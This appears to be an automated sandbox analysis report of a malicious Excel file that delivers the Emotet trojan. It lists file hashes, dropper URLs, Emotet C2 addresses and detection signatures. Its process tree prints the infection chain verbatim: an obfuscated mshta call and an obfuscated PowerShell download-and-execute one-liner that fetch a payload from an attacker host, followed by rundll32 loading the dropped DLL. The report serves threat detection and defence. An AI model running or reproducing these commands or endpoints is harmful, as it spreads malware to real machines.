Analysis

  • max time kernel
    110s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20-01-2022 19:11

General

  • Target

    a2f32b5bfd78eeee7b3d4d44b4da8c8aeb98ab866a7998e2adaabc80cd1247a4.xls

  • Size

    142KB

  • MD5

    dbec7c9243ac15b3a8a655df66c73b36

  • SHA1

    bc2363c0f1aeb0167b933b99ccfc2d26e24a795f

  • SHA256

    a2f32b5bfd78eeee7b3d4d44b4da8c8aeb98ab866a7998e2adaabc80cd1247a4

  • SHA512

    66108f0128d7d2fa1900d98c60a752699b1134b80d678754f1ad6989ab086f5c41075e598ae4e1442544731aceedf7d204a243db6209a09e9d6da28d9c256745

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a2f32b5bfd78eeee7b3d4d44b4da8c8aeb98ab866a7998e2adaabc80cd1247a4.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:652
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2120
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:3164
        • C:\Windows\system32\mshta.exe
          mshta http://0xb907d607/fer/fer.html
          3⤵
          • Blocklisted process makes network request
          • Suspicious use of WriteProcessMemory
          PID:4016
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:392
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:504
              • C:\Windows\SysWow64\rundll32.exe
                C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
                6⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:2232
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                  7⤵
                  • Loads dropped DLL
                  • Drops file in System32 directory
                  • Suspicious use of WriteProcessMemory
                  PID:2164
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Llzmmsjeat\xewancjuj.zwb",lhatJUQzXcxanH
                    8⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2708
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Llzmmsjeat\xewancjuj.zwb",DllRegisterServer
                      9⤵
                      • Blocklisted process makes network request
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1784
          • C:\Windows\system32\WerFault.exe
            C:\Windows\system32\WerFault.exe -u -p 4016 -s 1868
            4⤵
            • Program crash
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2096

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/392-378-0x0000023754610000-0x0000023754632000-memory.dmp

      Filesize

      136KB

    • memory/392-389-0x000002376CBE3000-0x000002376CBE5000-memory.dmp

      Filesize

      8KB

    • memory/392-415-0x000002376CBE6000-0x000002376CBE8000-memory.dmp

      Filesize

      8KB

    • memory/392-410-0x000002376D290000-0x000002376D306000-memory.dmp

      Filesize

      472KB

    • memory/392-399-0x000002376CE30000-0x000002376CE6C000-memory.dmp

      Filesize

      240KB

    • memory/392-387-0x000002376CBE0000-0x000002376CBE2000-memory.dmp

      Filesize

      8KB

    • memory/652-116-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

      Filesize

      64KB

    • memory/652-119-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

      Filesize

      64KB

    • memory/652-129-0x00007FF8ABF00000-0x00007FF8ABF10000-memory.dmp

      Filesize

      64KB

    • memory/652-128-0x00007FF8ABF00000-0x00007FF8ABF10000-memory.dmp

      Filesize

      64KB

    • memory/652-118-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

      Filesize

      64KB

    • memory/652-117-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

      Filesize

      64KB

    • memory/652-484-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

      Filesize

      64KB

    • memory/652-115-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

      Filesize

      64KB

    • memory/652-483-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

      Filesize

      64KB

    • memory/652-482-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

      Filesize

      64KB

    • memory/652-481-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

      Filesize

      64KB

    • memory/1784-458-0x00000000055D0000-0x00000000055F6000-memory.dmp

      Filesize

      152KB

    • memory/1784-460-0x00000000056D0000-0x00000000056F6000-memory.dmp

      Filesize

      152KB

    • memory/1784-449-0x0000000004C00000-0x0000000004C26000-memory.dmp

      Filesize

      152KB

    • memory/1784-454-0x0000000005410000-0x0000000005436000-memory.dmp

      Filesize

      152KB

    • memory/1784-456-0x00000000054F0000-0x0000000005516000-memory.dmp

      Filesize

      152KB

    • memory/2164-444-0x0000000005260000-0x0000000005286000-memory.dmp

      Filesize

      152KB

    • memory/2164-448-0x00000000053C0000-0x00000000053E6000-memory.dmp

      Filesize

      152KB

    • memory/2164-442-0x0000000005200000-0x0000000005226000-memory.dmp

      Filesize

      152KB

    • memory/2164-440-0x0000000005070000-0x0000000005096000-memory.dmp

      Filesize

      152KB

    • memory/2164-435-0x0000000003320000-0x0000000003346000-memory.dmp

      Filesize

      152KB

    • memory/2232-433-0x0000000004880000-0x00000000048A6000-memory.dmp

      Filesize

      152KB